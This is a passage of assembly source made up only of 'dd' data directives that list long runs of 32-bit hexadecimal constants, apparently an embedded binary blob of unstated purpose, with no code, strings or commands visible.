8A6B8FB5h, 6D099D61h, 2BFCF4A1h, 0B200D7FCh, 1E8C54A9h dd 135E271Fh, 69B8582h, 0D0207570h, 0E2873BD9h, 1B007973h dd 0F0BE108Bh, 742F68h, 8A559A8Dh, 410F0524h, 0B57E1E05h dd 84ACC584h, 0D19A4B00h, 135A90C1h, 9FA17800h, 40D317B7h dd 7BF60002h, 9049DD96h, 71CA2E57h, 3A0150D7h, 60FACE83h dd 0F4150160h, 9459C129h, 6D3BD2E5h, 7CB48040h, 0ABE6CAh dd 83FEB801h, 0A908F6A5h, 0AF53F300h, 0F8103245h, 490B00CAh dd 0DFB093FFh, 0A9A021DCh, 2E3BEEA0h, 0D6D3805Dh, 0ED2325BCh dd 0CCD20030h, 1B96020h, 0BB784B52h, 8C2FE61Ch, 1FF79440h dd 5CD688C7h, 0A800738Bh, 0AA5C9C26h, 56000A24h, 7D5B6F34h dd 2A82ECh, 3BC25AD5h, 6DE487B1h, 0B6069200h, 71FEE515h dd 0FFD10068h, 0CBA361Ah, 0D6008ADCh, 93D459B4h, 60B01291h dd 8E606883h, 2B07FE23h, 9515D96Fh, 0F7BDAB30h, 2FB40C18h dd 1E285E3Ah, 15B7339h, 86677A17h, 9A606531h, 0E10C00A5h dd 0C3AF8F79h, 0DEFC6256h, 83F25772h, 9ABD7F17h, 0AFE8CC00h dd 7901AA5h, 63E35C9Dh, 9BC1067h, 4F5CFE9Ch, 1B0070D8h dd 0F580E2AEh, 37FD51Ah, 0B1138A3Ah, 5ECFC251h, 2148B060h dd 0D0284F29h, 67008F1Eh, 0E6B34C99h, 0F2CE614Bh, 7C6838CCh dd 0F3F74FCh, 3683650Bh, 5720ADCFh, 25BA673Ch, 27B6E401h dd 14D0E2Dh, 0A5229880h, 8895EE57h, 3D895400h, 4FF0DACCh dd 0A9730063h, 0ECF35D4Bh, 497D879Ah, 4A537C00h, 6FA0033Ch dd 7B0119F8h, 0D0836843h, 180051D7h, 3C25A7D4h, 7CC99A6Dh dd 6970FBh, 5C4C0409h, 713F17D8h, 0DFCD4B00h, 2CE1EB90h dd 793800BCh, 69ECD392h, 8216289Eh, 2A00B6BBh, 0CF6A5CD0h dd 57B3F6Eh, 0B5C29C80h, 0D879948Dh, 0D5A38B00h, 18160C93h dd 7A09002Fh, 7C3AE677h, 0E10C5F42h, 0E2F9943Fh, 768C0068h dd 0D9CC7F4h, 0B90EAFBEh, 6A1119F2h, 0D70088B5h, 0D5D43D70h dd 0CF10D4B4h, 37047301h, 207EFF14h, 0F400240Ch, 9ABF3120h dd 58CDE03h, 66F111D8h, 6FBC82BAh, 98623760h, 0F8F8322Fh dd 1D06001Dh, 0AF26DE88h, 8B00A652h, 0FF551C21h, 80AAB9h dd 0C4D54392h, 52E06653h, 464EA71Fh, 0E889C600h, 506C32DCh dd 0FF0D671h, 54C19209h, 894BABE0h, 0CC5C0183h, 0A230069h dd 12131F24h, 74D83092h, 0CECDA7B0h, 70252E3Fh, 70C1D4E9h dd 8421A600h, 0F4425E0Ch, 1E7318h, 0D3E99243h, 87B901DDh dd 0DE648300h, 9DC73321h, 1FA67418h, 23DBBEh, 0F7A95F6Bh dd 0FD0719F8h, 3D821657h, 69C5DF60h, 787D00A7h, 9726CDCBh dd 2100ADEBh, 0C61A07C2h, 3C8969Eh, 0D5693655h, 0F9900999h dd 45003A32h dd 654E9C1Dh, 7E9CF3Eh, 1C485979h, 25978022h, 0B0156ADh dd 0A5754DB7h, 2F603FD9h, 0B8090077h, 8BDC42EAh, 817B947Fh dd 5A50B300h, 66652306h, 0F6C609A5h, 60A022D0h, 0D1B843B1h dd 0EDCC5F00h, 4FDAB563h, 294712D9h, 0C99F0012h, 38A8C445h dd 80720C3Dh, 1828B2F3h, 2A58151h, 12D26B83h, 14404694h dd 0FF0065CBh, 20E81F61h, 0FC8E5B25h, 0F9410028h, 0C85EB4A5h dd 0FE0054C0h, 2C87E1B1h, 58B9BC7Ah, 720164E0h, 0D88B86A6h dd 3AD88E4Ah, 7E1A0096h, 1DAF821Bh, 8039CD83h, 68257B29h dd 891F6CACh, 9840F521h, 62D154A4h, 16390030h, 0B409B966h dd 0BB00DB7Dh, 0ECF2E20Fh, 5EFAEBh, 0DFD92BE9h, 8B435269h dd 0B66E0B0Eh, 560E0099h, 329438h, 0CFE96B23h, 0E33C37C4h dd 30612700h, 5FFC702h, 216514A2h, 0D300E6EFh, 0EB1E78Ah dd 0C490FD43h, 830C9700h, 83766DDh, 33CE273Fh, 0D8DE0A41h dd 0EE39CC21h, 839B000Fh, 0C707011Ah, 467166h, 0E7BEF4D4h dd 7E240974h, 8B5BD00h, 5BD90FC0h, 55E200F9h, 20AB8BA5h dd 0E3003350h, 0B39AADBCh, 0B8D5951Ch, 3FDA3F7Ch, 0C741B700h dd 0CC434615h, 2DBA6F00h, 0D9625A77h, 0A55E004Bh, 12EF57EDh dd 0B6FAB055h, 0F5EA3700h, 0B2D53F01h, 0CEA3000Ch, 2BCB3D6Bh dd 281E807Dh, 0BF00C224h, 40077B09h, 0FE3201D7h, 2A65EFB5h dd 4FB8F479h, 93D1C301h, 0BE8F9924h, 5EE4F461h, 52DE00AEh dd 0ECC0FD8Bh, 940BFB2Bh, 17EE5Bh, 79B9A544h, 7D74AEh dd 7820994Dh, 4AA74E71h, 9F3D1E90h, 29386Eh, 61FA1D74h dd 0E858ECA6h, 83E100BBh, 81E7A746h, 0E900555Ch, 3C2C4EFBh dd 315185h, 0B70322Fh, 0ED773407h, 6AE00300h, 0F4E7121Ch dd 0FC8A76ACh, 0CE1403A4h, 2E52B41Ah, 208D1003h, 0E0987D63h dd 1F380A4Bh, 9DBDA1h, 80230721h, 85007E2Dh, 0A58FD578h dd 0E5F4A079h, 0C1092180h, 6B7DBFCDh, 22002DE4h, 1071694Ch dd 3CD9A0D3h, 218001A7h, 0AED1D4E2h, 0D51EA2B3h, 0CAC08A1Ch dd 56CD2A77h, 0A878008Bh, 197D349Eh, 2218FC6Eh, 98A12D81h dd 600BF814h, 13C8B8C6h, 0D800280Eh, 95DE7819h, 61772BD6h dd 989B4165h, 7088A0D9h, 9DB9A600h, 0B51B2616h, 0A2574E2h dd 0FC0214B1h, 2E4D8774h, 0D579807Eh, 333EB0EFh, 0D8F10E69h dd 4523E0C6h, 742B8A26h, 0B1BC0196h, 8535AD57h, 0A93EF838h dd 2F127800h, 0A53C8E68h, 28397CA2h, 3ECD1E94h, 5100A0DBh dd 0ACE05993h, 38C45461h, 386A957h, 568E00A8h, 0C5C01EBEh dd 0AA00A0DAh, 9639C679h, 36CD07A6h, 404820F0h, 17CE420h dd 0AD143406h, 0E0338EDCh, 0B060D67Ah, 7B1A8D29h, 0BE1C38Ch dd 3D98D0F0h, 0FB33F896h, 1EC218A1h, 30AC0709h, 0F03CE089h dd 4D5080FFh, 0B99C8EB4h, 9470C06Dh, 0F17D35CEh, 719A9F1Dh dd 0E2032028h, 0A863340Dh, 0BC5F8D19h, 5D884680h, 0F17F5ACh dd 9FBE6A8Eh, 297D809Fh, 0B1FDF808h, 6060D0h, 0EB2D184Fh dd 390EF9B7h, 680FAD02h, 0A6C03070h, 0B14E6A0Ah, 0FA1E1003h dd 80813D06h, 5DCAD0h, 2204A530h, 2A4F5EDFh, 0B5934600h dd 3D6F03CBh, 0A6441761h, 11D84h, 0FF87C049h, 940183A7h dd 50AD8FD9h, 4AD8E568h, 5198A2h, 9D10175h, 4E47B06Dh dd 3C00D2FCh, 57C6192Ah, 161E8EAh, 0D8109872h, 0F059A81Ah dd 0DA0A4234h, 8C11F9AEh, 2B704D80h, 939AA4h, 1EAA6A3Dh dd 0A3781A7Eh, 0DD09CA8h, 225CCB03h, 0A081527Dh, 0C35A0E56h dd 14AE1A40h, 40A8EADFh, 1DE264F1h, 331F267Ah, 0FD41742Dh dd 8C6D951Ah, 5E29508Ch, 1BDA408h, 0CAE1F66Bh, 0B551FC0h dd 2FE24C24h, 4B22EE80h, 0A0CE773h, 50D69EBBh, 1A1600B2h dd 0FAB0AA10h, 49118539h, 0F005B2Ah, 946E44E5h, 8F1D575Fh dd 0DD0FA243h, 0CE118020h, 2497B4DCh, 1E76E9Dh, 0F02E5659h dd 28E9B89Ah, 57909E14h, 0A3F3A605h, 9420F89Ch, 0EC9FEDE2h dd 3CC40F8Bh, 0FA04FB3h, 6A2951D4h, 248181C0h, 0D55942h dd 0CEF302CBh, 84FCA3F2h, 454E8600h, 0B13B5549h, 666B01E2h dd 0F06F0CB7h, 173C20F8h, 3AAD1E3Ah, 5400FC07h, 7E92A731h dd 150CF9Eh, 0FCF2C6B6h, 0A11CE03Dh, 4D500411h, 51023E54h dd 292DD703h, 0CAB8322Bh, 0B039094h, 3AF074DBh, 0E7B0CF89h dd 17DFAAA9h, 785D5B7h, 7065F673h, 7CB993Ah, 98B6DC0Fh dd 1CBF46Ah, 8D8AAA04h, 0C970D3C8h, 6F9857h, 15A261EFh dd 8C554D16h, 0ACEC5000h, 0C978D404h, 56421263h, 0DCC200CEh dd 128EABB2h, 0A78B8F00h, 0F194C6B7h, 2840765h, 0D7C0E5h dd 298252F9h, 0E9019E79h, 0C3C4573Dh, 4EE0F37Bh, 393E00B0h dd 0E7A8285Fh, 7F0E4692h, 1F63B28Ah, 3486545h, 21EF40C0h dd 8629001Dh, 1A95B31h, 0AA005D37h, 54C9BBFEh, 3F478142h dd 6E939002h, 7490330h, 0C5A04DD4h, 0A4E49FE4h, 52386C03h dd 0D84BFAC0h, 789A1Fh, 9984AF91h, 3537E658h, 0ED0E3B00h dd 0DA6157F1h, 11E00B8h, 0AAFE8CD5h, 33003DA1h, 0E82313FAh dd 3FB0AE8Fh, 7AC5D9Fh, 0E3AF07C1h, 91CFD0A6h, 59B8B406h dd 6B882660h, 1B5C18Ch, 95215390h, 40C4BFA7h, 35CF7EF0h dd 76F52F09h, 77508047h, 0EEE9CE2h, 0B52AF156h, 95AF922Fh dd 3C20270Eh, 0ECBBD79Eh, 1C376401h, 0EECDE85Fh, 0E7D0D440h dd 0B0B800E4h, 6831A098h, 2D00F83Ch, 6E653803h, 32707B3h dd 7B98DB87h, 0DD9844A7h, 6030E5B0h, 0B3D7988Ah, 0B8580C6h dd 0FF729A1Dh, 6719B00h, 4C796E0Dh, 2800ACF7h, 0A8491101h dd 6A3F5A2Ah, 700B8E45h, 750E876Fh, 7CCD3811h, 1792020h dd 846C460Fh, 30E5FAF3h, 0B3008E24h, 771EECEFh, 3066BFE1h dd 0E426A486h, 0DE908FC3h, 87744B1Ch, 9BDF9240h, 0A4647Dh dd 1460E7A6h, 0E382EC68h, 9D3F1803h, 0F0FE2399h, 759EBA5h dd 0F46487B1h, 0CD182073h, 0F00110A9h, 0F22694BEh, 66F8BF7Fh dd 0E8C56581h, 9A5C4034h, 9C21F96Ch, 3098900h, 0A05A7601h dd 7115143Dh, 0D400B866h, 0F6DDCCEDh, 0E8E8E542h, 0F44EE100h dd 72043986h, 1DBB0094h, 3D1A756Ah, 19747420h, 44CC4900h dd 1D68C53h, 31601E0Ch, 0F1CF430Eh, 7D88DA8Bh, 7B30B5A1h dd 0FFAF781Dh, 0AA5F0025h, 0DC909968h, 60F3FCD3h, 2D00AC9Ah dd 9BA51285h, 0E98CCF23h, 42C50ECh, 0F0945EAh, 4220C3F5h dd 4446A3F0h, 1FFDB8C7h, 0E5C45390h, 60B97DB4h, 0F44AF90Ch dd 920C6227h, 0E9A7032Fh, 0C5EF00D2h, 0E07D870Fh, 10713A44h dd 4C45B303h, 0C0B2C33Bh, 8947C8h, 276874FEh, 96418C22h dd 45995A07h, 0B12017A6h, 0EC9BF2C4h, 21BB009Eh, 7F912216h dd 0BF002419h, 0C4662E90h, 45D280h, 0C028A7D6h, 3E683935h dd 9B81F300h, 73D48FFDh, 11EA0008h, 0FA195CFCh, 4F01221Fh dd 36B620F6h, 7180F275h, 0C0CED88Dh, 0D67122C6h, 0AF2CCD28h dd 11AEBE00h, 51EED2F3h, 10F70080h, 0C409694Dh, 3700B8FCh dd 4927B96h, 7FC2674Eh, 0F6B0B9h, 87E82F3Ah, 66962179h dd 72A1C91Ch, 5300FC1Dh, 70FF5D20h, 0B67B00BDh, 0D6D0C2AAh dd 30C0F482h, 0FAE265ADh, 76490025h, 3528869Ch, 7C3C3355h dd 4D538092h, 5C4AD8B0h, 29F70F1Dh, 0D360D63Dh, 0B73FA858h dd 77031006h, 5073A2h, 39E0A15Fh, 0BD9278EBh, 107AAD00h dd 0E67ED646h, 491700DAh, 0F3E3D42Ch, 23004FEDh, 0E8749212h dd 0A6AA41h, 0CFB084A7h, 13106508h, 156C0E00h, 1295A319h dd 71D6266Ah, 0B7930334h dd 1898D0E6h, 72EE2CC9h, 0CC5E4A05h, 0D40FD3ECh, 58A900A4h dd 986FF0h, 42E5CAF5h, 662417Ch, 473D9914h, 52800D8h, 0ED24D22Ch dd 6622004Eh, 82408B5Ch, 43149C39h, 0E2AFA4h, 0A1A21604h dd 1A7AC6Ch, 74B187A8h, 0E554D517h, 62662098h, 8AFF5100h dd 769B5C95h, 1C700E2h, 0AA7BC881h, 0B000B4E9h, 0B162B97Fh dd 8B90D5h, 5EFD13C0h, 0F146111h, 0D5C4502h, 418178BAh dd 0EC70C938h, 98CD241Bh, 91BB00D2h, 9D42081Fh, 8F437114h dd 0D3A90084h, 0B640A8A0h, 81E000B9h, 282DC277h, 0E95C7366h dd 0C6D100F4h, 0CEEC1D69h, 9F5C1FF5h, 6CD5C095h, 0FAD44A6h dd 0BE039707h, 0F7A92EB5h, 8B218000h, 0A004C54Dh, 1A08C437h dd 830B0B80h, 860E3E63h, 603ADB00h, 39196F76h, 4559F000h dd 4D70DE89h, 5EF400E6h, 98EC69BBh, 0AF00A5B0h, 0A24AB7EEh dd 26EB2393h, 9EE330h, 0C6C8A0F2h, 5FF0C4E7h, 0BA155B00h dd 0D1834DACh, 617A0358h, 41D3B532h, 3CBE580Eh, 29216020h dd 487FE2h, 10A84488h, 9769D3Dh, 2CC7D00h, 25370FD7h, 11050098h dd 0DA3BAC88h, 7507A933h, 0A404E643h, 4A803A45h, 83907h dd 0A1E36023h, 217A444Ch, 3628D900h, 0DF1E8CA2h, 7EEE0042h dd 9F32299Ah, 0C5001C87h, 0CB51CD90h, 3854D0ABh, 37807438h dd 0F0E453A5h, 9AF24723h, 33268400h, 0B1EA315Bh, 0ADEF1E90h dd 7B280001h, 0F8D9AABAh, 350C2B00h, 1026A965h, 37E56h dd 34876E1Ah, 2D886DE3h, 528ADF0Dh, 0C2EC213Eh, 3307825h dd 185ADA51h, 0D8009C11h, 9E491BF5h, 78B6C74Eh, 15400A7h dd 5ADF0ED8h, 16FC92D5h, 42EBEE1Dh, 7E1398E4h, 6513D600h dd 0F9EA50h, 0FEE74B64h, 4AD4F6Bh, 0AF59620Fh, 0BA5A8006h dd 5EF509h, 5DFA0CB5h, 67EF13C4h, 617C000h, 7018C96Fh dd 0B88F3826h, 60129718h, 0C000C8D2h, 0FA2A5995h, 7F1F81Bh dd 0C7B51826h, 0B0A2C996h, 1880BD01h, 2EA2E194h, 23088F67h dd 9505B647h, 1BE2848h, 5B6AFA1Ah, 8EF6D022h, 96BFA30Ch dd 1D03185Dh, 802A1298h, 0D558F1E8h, 0C150C6D7h, 0E07C1938h dd 0DA436400h, 28A2E990h, 54BB708Fh, 819B349Ah, 50590602h dd 2A57E753h, 0F3A0D7C2h, 0F030C346h, 0F69D005Dh, 0B5C5BEE9h dd 2300D53Fh, 7B6F878Ch, 5C9B48DAh, 0D4392F7Eh, 30DCF800h dd 66E4E060h, 0FE3B1300h, 730841BBh, 90F7F1Ch, 0B3F4F17h dd 3489BD80h, 4A1F8D09h, 0C801A2Fh, 9B044146h, 37D6001Eh dd 6A89F487h, 7700E09Dh, 0E608A434h, 74F5A943h, 0D6AB0056h dd 0F6652BDFh, 1900D713h, 6E3F6836h, 0D3E6FCh, 0F2A743B5h dd 895C0764h, 9AFBEB0Eh, 2AE4E0A0h, 1E82B3h, 465A5E3Eh dd 37C08D9Fh, 306E338h, 84FFF7F0h, 0C892A0D5h, 6C1F004Dh dd 0AF0AE634h, 9A00022Bh, 30701762h, 898FDDh, 450C5E87h dd 3C96BA29h, 792C460Ah, 0F284A8D6h, 7C098EBh, 3382F9C2h dd 0EC08D253h, 0E4182100h, 0BE893D98h, 0B21E0036h, 75149CB7h dd 9600B9FBh, 7ED5DF6Eh, 1B38CE1h, 9D4C918Eh, 9B288D14h dd 2349D270h, 0DD012678h, 0D25B6998h, 1288EA18h, 749800D5h dd 507A9F3Bh, 3A0F8B5Dh, 0B30DB69Bh, 6013940Dh, 0A46A5840h dd 0DD3103DBh, 36A3D166h, 400428B6h, 0D92E2581h, 6BF61890h dd 5EE91D95h, 5711865Dh, 0F1600855h, 95531921h, 854E3E73h dd 77D59003h, 0F0D7151Eh, 3506935Eh, 1A3658C0h, 623FE7ACh dd 8D167081h, 0BEC16100h, 0F430142h, 33E8F839h, 931EC810h dd 0B4B6B503h, 98EC3B14h, 51BAB2h, 0B834E6BBh, 0FD5BD415h dd 6BF98400h, 0C09F7357h, 0B52700A6h, 2E09FE68h, 670107BAh dd 0D26ACCB6h, 7DD06459h, 0C0835F21h, 0A075EBF2h, 9DE3B51Bh dd 121F608h, 633F8FA8h, 0D0A43009h, 2330C2E5h, 55A9943Ah dd 3E37E68h, 83FE7DD2h, 39006F58h, 54D5BE2h, 0A53AA7h dd 6C3FBA62h, 4378B144h, 36023400h, 75CEB661h, 0C321007Ch dd 0E7F7DDEFh, 58D89EB2h, 5C846349h, 65371C7Ch, 0B3D85711h dd 2A0E3BCh, 0C03AEB67h, 21523015h, 62CFA5h, 7936131Eh dd 0D839E4D3h, 5EA08560h, 0C19B4F16h, 0B4326360h, 0F619846Ch dd 0DD00AC8Ah, 16FFBA54h, 118029DBh, 1F8AAA20h, 37405A3Ch dd 0AD2F1D8Eh, 0A1C600AEh, 5631CC14h, 4003DEAh, 0E3747C22h dd 32E8D58h, 0B6751A20h, 0C3C0701Bh, 0EAEAD2DFh, 32CA2A07h dd 710084A8h, 6CAA97h, 9B48029h, 4C5E2DDEh, 19127200h dd 9034C3DCh, 1C76CBh, 0E07C760Fh, 1B06F965h, 61FA1E00h dd 0BE773CEAh, 0BCE291h, 0F501920Eh, 0CD09AE4Fh, 759A13Fh dd 0DE02756Dh, 0E0790BC3h, 0EDA6CAh, 5EF3DD3Dh, 415BE814h dd 26B0C64Ah, 3195034Bh, 0B65780A6h, 0E0EEA790h, 7D001498h dd 6725C97Ch, 0F902F66h, 10E6D8CAh, 80C3B2C7h, 7332E1EEh dd 0A1B07EE1h, 38DFEFh, 6869E65h, 3407D8CCh, 2EE516ECh dd 95DDCB20h, 56650F69h, 0D80FF1FFh, 55C53D80h, 66FA11A3h dd 68436B36h, 3CD70030h, 0AB4DADC6h, 0C5FEC8D3h, 632B8600h dd 0EB44AF52h, 3D03195Bh, 0FC2580F7h, 770134DDh, 0A953C08Ah dd 0E70E06Dh, 0B8DF0FD5h, 48009E27h, 0BF7AD991h, 0AE12C00h dd 80AFA42Ah, 0F0991D1Ch, 1880BF75h, 77E9ED5Eh, 961DFA01h dd 3D8E82DDh, 0F639987Fh, 0CD30049h, 0A2AFC79Fh, 18C36736h dd 0A033417Ah, 752BF8Bh, 3FE69D64h, 752F802Eh, 3203F7C8h dd 0DDF91DF4h, 3E5800AAh, 0F5BF77DEh, 2F0061A4h, 0ADDCAFEFh dd 0FA98A6h, 65DF4C21h, 5BF0AB3Eh, 0D900DA75h, 0CB4BAE5Fh dd 3E2D7CDh, 17807245h, 39B091C8h, 0FE01FBD0h, 88E433CFh dd 69869A5Dh, 0C0F2D52Dh, 8020C1E7h, 1BC48BB0h, 0CE37312h dd 0BED9DC45h, 27002E18h, 0A93C9728h, 0E4141Ch, 0D0681F5Fh dd 7BDBEDC3h, 0A510761Dh, 0F145400Ch, 857D2A3Dh, 0E5900C90h dd 9D18E3B2h, 48F4EC00h, 0E6C0B6D9h, 18D70130h, 5E6AAACFh dd 9D8CD8D1h, 0AFC8D009h, 80288F49h, 68077254h, 0C73A002Ah dd 9F3817FCh, 0D37A4A43h, 0CE0516E6h, 0CF211AAAh, 0F7C9042Bh dd 0C0AB3A07h, 0F68AB949h, 0E3E62000h, 0B2CF12E2h, 0EBFB004Bh dd 0A025F792h, 40181A83h, 0F296F14h, 0F91088E3h, 889F9188h dd 1B896EE4h, 0C203A08h, 513D60ECh, 61808214h, 0BA4FE901h dd 0DA44FF46h, 0D8F1AA43h, 94984h, 0D92BE61Ah, 0BBC796ACh dd 0B3F6CE00h, 6D7EF15h, 340F0075h, 0A253DAF1h, 6A3D3372h dd 0D4DD8032h, 68284A2Dh, 83090FC1h, 99C237F7h, 80A1B57Ch dd 0E8DB4BB6h, 5C07E8E2h, 0C7F38C28h, 134940Ch, 0B92B7B1Dh dd 20DA3BF0h, 9300A385h, 5D9C0F03h, 7181E8AAh, 0D34000A8h dd 179D139Ah, 0E4E77001h, 42061467h, 0F33F2D63h, 0C5843841h dd 9CFBA980h, 46B57003h, 1F003A7Bh, 9E785428h, 0EA6C7Fh dd 8D28637h, 82FE3196h, 83D9C800h, 99177D2Eh, 0ED5518B5h dd 0CCE9C01Bh, 0D7635707h, 2D10F3EEh, 4711D8h, 4030076Eh dd 58C23F1Fh, 0CE316400h, 364398B0h, 0F84FE229h, 1BF00A2h dd 0DF349D14h, 0A9C0EFB5h, 19CED8DBh, 0FF953C1Bh, 55536700h dd 0F28D65E8h, 34FECDFAh, 27848C00h, 0C4526F20h, 1FBA0067h dd 0D862DF2Bh, 0E8004621h, 0B69F063Fh, 0FC2A14h, 0CB52D110h dd 82AB3DA1h, 7A67B40Fh, 0FD06E07Ch, 0C0DDE1h, 7D116DA2h dd 0DEDFD22Ah, 37F64A00h, 0D4EE4836h, 52E100DCh, 70537F8Ch dd 1D0FB4A8h, 0E7E9BCA0h, 84F1D359h, 0F07F5F4Bh, 5300A6F6h dd 0AA366B5Ch, 1C23EB4Ah, 8B9407h, 7E30BA26h, 8505AE0Bh dd 2595BCB3h, 32CDA800h, 0AB6E15h, 0E8F084Fh, 0D4B1E1A7h dd 0CC34930Ch, 6EE2C4Bh, 3BAA0BD6h, 5B006C4Ch, 7664962Dh dd 0E64AB88Dh, 6FDA3A69h, 0CE047D80h, 0E2D02772h, 15AEAC13h dd 2A0E7C07h, 0E73B4780h, 0D8B893h, 84733482h, 0B7EF51FBh dd 0CB0715E6h, 83B6BFDEh, 854B6B10h, 92410027h, 0DBEF5433h dd 0CA011588h, 3E22E701h, 2CF8C04Bh, 5FEA1DB0h, 107983BBh dd 0D2D0C6F0h, 0CC00BD41h, 0EB9BB3F4h, 90D1E27h, 0BF305F9Dh dd 0F687BD00h, 0DB0F480Eh, 40ADE210h, 916C1974h, 0D9FB0069h dd 0CD2881D0h, 140166C5h, 419B5867h, 0ECC82E6Dh, 290C0013h dd 5A728FCFh, 3100988Bh, 1DE571A1h, 0E6CEE06h, 0C1FCE30h dd 29B04420h, 2A005F92h, 77871D31h, 7140407h, 5E52A8DBh dd 4A78A01Fh, 0E6074BEAh, 6DADA094h, 5CC09144h, 11557D2h dd 79132C8Eh, 0E4307FB5h, 6A77F8DCh, 854CEE00h, 0A2F90F96h dd 6FA2681h, 0B22C0046h, 0C744C6BBh, 58257E09h, 88B800A6h dd 9820BA21h, 5DF90910h, 0A0C0D9h, 788F64BDh, 3E857312h dd 0AEC0C41Ch, 33C6B5D2h, 7D89005h, 709BEECDh, 948150D9h dd 92007CA8h, 0CAE43452h, 65C69Fh, 0C52EA30Ch, 0AB40A9E5h dd 9601DE00h, 0D9080B06h, 7C430753h, 1004BB85h, 0A5E012AAh dd 4F3D9001h, 1739CBB2h, 0A0B4F4h, 0FF9C74ABh, 4919AE24h dd 5258FA1Eh, 0D45AF340h, 134E5332h, 0CC8043h, 7C8DF9F0h dd 0FB001516h, 616872A6h, 0F4B53C6h, 75B6DD44h, 0D01BAD7h dd 73CDF8CCh, 0F2AB1BD4h, 0F2C39B1h, 0ED5C1780h, 0DB3F77D2h dd 911E5D13h, 2079AC00h, 552E5Ah, 18ABB9C8h, 0FC05C219h dd 753A6D00h, 93DE3B17h, 22CB0A2h, 0E34CDB21h, 0A6E0D1F4h dd 62260811h, 0A803C80h, 332760A0h, 9E7700F4h, 98D3B683h dd 0D200794Dh, 0A55C4504h, 0F39F74h, 0EE2402B7h, 0C8F39C6h dd 0E19B0707h, 0B990188Eh, 0C320ACh, 0F56E3C80h, 0DAC1E8CEh dd 8E87EA3Bh, 40CC7407h, 3D7A7898h, 0DBE20055h, 252B0D84h dd 0C8FDE7F2h, 581285DCh, 0F400354Ah, 0C6C49C2Ah, 0E8824E3Eh dd 28950BF5h, 641C021Fh, 70F94074h, 81030059h, 6220B69Dh dd 8D00A0CAh, 0B4F3D0B5h, 3A8CB16h, 0CCD2B256h, 0B1DA1377h dd 0DA9BA43h, 0EC33E8B5h, 0BCE3FB00h, 61A71B92h, 571E3FEEh dd 25388800h, 0ECC8C521h, 63DEEA00h, 7026516Eh, 9C6F005Ah dd 4466F682h, 0C4989BD4h, 6E14FB1Eh, 1487A8CFh, 189A30CCh dd 2E04FF21h, 364CEFCh, 75824C44h, 9E717480h, 0E4012CE6h dd 6F115A3Bh, 0ACD52164h, 4A5FA8C3h, 0DBBA00FDh, 478E3782h dd 97001585h, 0D6C69272h, 83D441h, 5C2BFE18h, 0A8FAA389h dd 89FA203h, 808D219Eh, 7BAE90h, 80F9CB3Dh, 99FD186Dh dd 0D178A501h, 0E04C0E76h, 5DF5C8h, 95BEC3C0h, 0B53C8541h dd 0E71E4012h, 0A465EF07h, 8B7E93E0h, 0C0556077h, 0CE925E70h dd 44E1BC00h, 0BA360FCCh, 17272449h, 2FAF01B5h, 70E8434Bh dd 4A132434h, 0BE145CCEh, 1EA901A4h, 65937F21h, 2378F4h dd 0D687A2E9h, 0E315EFEEh, 0DE01F26h, 5F284000h, 49854B2h dd 0B770E55Ah, 0E9B09099h, 4900AD5Eh, 23D64B0Ch, 0F6F218h dd 0D54388Ah, 34E56C67h, 7C41C800h, 2861FAE8h, 80DE0F0Bh dd 0A2602B03h, 0C2164BE7h, 0C6F3602h, 78E4D90h, 2F8862C9h dd 67C8029h, 11CAD18h, 0FAF5200Ah, 30B1D136h, 0F77A274Ch dd 3870882Eh, 0F6A51501h, 48805DCEh, 0D5FE5502h, 4B00502Dh dd 0C79254BDh, 7B90DAEh, 7D30B177h, 66830041h, 0A7005B6Dh dd 72924D38h, 128A5D97h, 0C606E0h, 3AC4A300h, 54B09511h dd 395A0238h, 0BE43AC9Bh, 2E37A40Bh, 0B72C6084h, 0BB1286h dd 872634AFh, 7390F98Bh, 0AE0CF500h, 0F29C0BEFh, 10BC0036h dd 0F49B16A7h, 0EA0073EBh, 32D2AA6Eh, 4A88A90Eh, 1D780065h dd 397491F2h, 6FCA4F1Ch, 0CFDDB5C0h, 0F1217Ch, 28789995h dd 0BCE97BF6h, 0EB97A600h, 0C5C306DFh, 0D7E60041h, 1441EA4h dd 340A228Bh, 908FC2CDh, 0B2E79E3Ah, 4E981458h, 2CC700F0h dd 92131ECh, 0DE72BDF7h, 61A5B400h, 4E7CE24Dh, 0CF660079h dd 218D9CCBh, 4C5C93E0h, 807839A2h, 75375B7Ch, 0DB0B9Ah dd 0DC023F7Fh, 0DDB8566Ah, 73F0960Fh, 7771E004h, 0F8DF7C4h dd 90AE8ED8h, 0C8CD5920h, 43130455h, 3007EE9Ah, 5D90054Ah dd 0F34CF6Dh, 784EB39Ch, 0E10B1C82h, 79F077E3h, 3D005AD6h dd 0E7BB5C1Dh, 938CD7Ch, 0D56D7E0Ch, 76683010h, 0EF1A7000h dd 0F48A6A59h, 64981Bh, 0EAB7C0E0h, 0FBDBF362h, 6BC69000h dd 48549CE2h, 137000BCh, 76C07986h, 0C77A402Fh, 320B4C91h dd 38500359h, 3AD1A007h, 0CD150006h, 0C41C0B3Fh, 3000C40h dd 270191C3h, 77A9CDFh, 0BE46D826h, 992EA010h, 8E00CECBh dd 0FC0E2B8Ah, 0C9272Ch, 5F8FE958h, 0E495D247h, 70E09A01h dd 0ABCEB30Ch, 531D20h, 0D19E1B33h, 0E1497FEEh, 2120CA01h dd 68B80506h, 25A04ACCh, 7483D258h, 0F178304Eh, 0F36D990Dh dd 4AF809C7h, 6E7BEEh, 76429F12h, 0CF4C852Ch, 0B351C00h dd 919AB7F5h, 53F0188Eh, 38CE5186h, 21E69851h, 2067D7FCh dd 0CB80CF18h, 37283685h, 0C0702C5Dh, 0EEEFF9A2h, 2BB2A00Ah dd 9A010C58h, 7D998E92h, 0B5F9908Bh, 5F80F48Fh, 0DAA92C22h dd 0C2FF1807h, 0AB34A62Eh, 1C1D9CB0h, 4ACF6Ch, 0AEC91FBCh dd 21000D87h, 14EF07A1h, 3032937Bh, 1AF1F269h, 0E103E45Eh dd 96B8A8Ch, 0C226C05Ah, 0B2F14DAh, 5D37944Bh, 28311042h dd 0A2009B70h, 77DDADCh, 2479F65h, 0DD93F63Eh, 0A49325EFh dd 0E82D0AE0h, 5B8BE02Eh, 4CB69501h, 0C7E410EBh, 9A2B3EAFh dd 30F098D4h, 7C391C7Ah, 6300AD52h, 0F12AC99Fh, 2D990EFh dd 4E326128h, 20408F07h, 180098ABh, 0C0A08205h, 38B6420h dd 0A1C3A840h, 11001D58h, 4796A40Ch, 609CEDCDh, 4AA1F171h dd 7660F8B7h, 0C1BF3711h, 137C9Eh, 9B3F295Ch, 6DC08819h dd 0D1D7A1C0h, 13BD4Ch, 72D05C2Fh, 44E2077Eh, 0FB68AF09h dd 473D01ACh, 1181C9FAh, 50A26423h, 